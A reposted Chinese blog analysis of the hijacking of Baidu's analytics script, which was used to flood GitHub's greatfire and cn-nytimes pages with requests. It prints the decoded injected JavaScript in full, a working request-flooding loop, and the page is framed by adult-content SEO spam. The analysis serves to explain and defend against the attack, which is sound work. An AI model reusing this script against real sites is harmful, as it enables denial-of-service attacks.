国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 課堂 > 電腦知識(shí) > 正文

一招解決WARNING: malicious javascript detected on this domain

2024-05-08 15:39:43
字體:
供稿:網(wǎng)友

一招解決WARNING: malicious javascript detected on this domain CUOxin.COM

  臨時(shí)解決方法:

  修改hosts,添加""127.0.0.1 hm.baidu.com" 。

  詳細(xì)原因分析:今天中午刷著全國最大的信息安全從業(yè)人員同性交友社區(qū)zone.wooyun.org的時(shí)候,忽然瀏覽器每隔2秒就不斷的彈窗:

  malicious javascript detected on this domain

enter image description here

  我第一反應(yīng)就是不知道哪個(gè)調(diào)皮的基友又把zone給XSS了,馬上打開開發(fā)者工具分析。

  0x01 細(xì)節(jié)

  之后立刻發(fā)現(xiàn)彈窗的js居然是從github加載的:

enter image description here

  可是為什么烏云會(huì)從github加載js呢,并且還是從greatfire和紐約時(shí)報(bào)鏡像加載。

  第一反應(yīng)是頁面有xss或者js被劫持了,找了半天終于找到了,居然是

  hm.baidu.com/h.js

  這個(gè)js的確被烏云加載了沒錯(cuò),這是百度統(tǒng)計(jì)的js代碼,打開后里面是一個(gè)簡單加密后的js,eval了一串編碼后的內(nèi)容,隨便找了個(gè)在線解密看了下,發(fā)現(xiàn)如下內(nèi)容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

var a = new Date;

return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() {

var a = unixtime() % NUM;

get(url_array[a])

}

function get(a) {

var b;

$.Ajax({

url: a,

dataType: "script",

timeout: 1E4,

cache: !0,

beforeSend: function() {

requestTime = (new Date).getTime()

},

complete: function() {

responseTime = (new Date).getTime();

b = Math.floor(responseTime - requestTime);

3E5 > responseTime - startime && (r_send(b), count += 1)

}

})

}

function r_send(a) {

setTimeout("r_send2()", a)

}

setTimeout("r_send2()", 2E3);

  大概功能就是關(guān)閉緩存后每隔2秒加載一次

  url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

  里面的兩個(gè)url

  問了下墻內(nèi)的小伙伴們,他們看到的js都是正常的,但是通過墻外ip訪問

  http://hm.baidu.com/h.js

  就會(huì)得到上面的js文件,每隔2秒請(qǐng)求一下這兩個(gè)url。

  打開twitter看了下,似乎從3月18號(hào)以來Github就受到了DDoS攻擊,之后greatfire把被攻擊的頁面內(nèi)容換成了

1

alert("WARNING: malicious Javascript detected on this domain")

  以彈窗的方式阻止了js的循環(huán)執(zhí)行。

enter image description here

  圖3 國外ip traceroute到hm.baidu.com的記錄

  似乎DNS并沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協(xié)議里替換文件。

enter image description here

  掃了下端口,只開了80和443,通過https協(xié)議訪問后是正常的空頁面(只有帶referer才會(huì)出現(xiàn)js文件)。

enter image description here

  作者要進(jìn)行抓包分析時(shí)劫持已經(jīng)停止,在twitter上看到有人已經(jīng)分析過引用如下:

  抓包跟蹤,正常百度服務(wù)器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報(bào)文的TTL是47,可以確定的是有中間設(shè)備對(duì)VPS發(fā)了偽造報(bào)文。

enter image description here

  真是無恥,呵呵

  忽然想起一句話,之前DNS被劫持到外國服務(wù)器的時(shí)候某站長說的:

  They have weaponized their entire population.

  現(xiàn)在應(yīng)該是:

  They have weaponized their entire population of the Earth.


發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 沧州市| 阿图什市| 宁乡县| 莒南县| 林西县| 香河县| 望谟县| 瑞丽市| 蒙自县| 彰武县| 水富县| 英山县| 荃湾区| 隆回县| 晋江市| 布尔津县| 临泽县| 高要市| 洛宁县| 梁平县| 沾益县| 榆中县| 昌吉市| 河津市| 龙海市| 光泽县| 上林县| 昌乐县| 新疆| 壶关县| 中超| 民权县| 甘孜| 洛阳市| 城口县| 玉林市| 荥阳市| 永城市| 高邮市| 平和县| 宜阳县|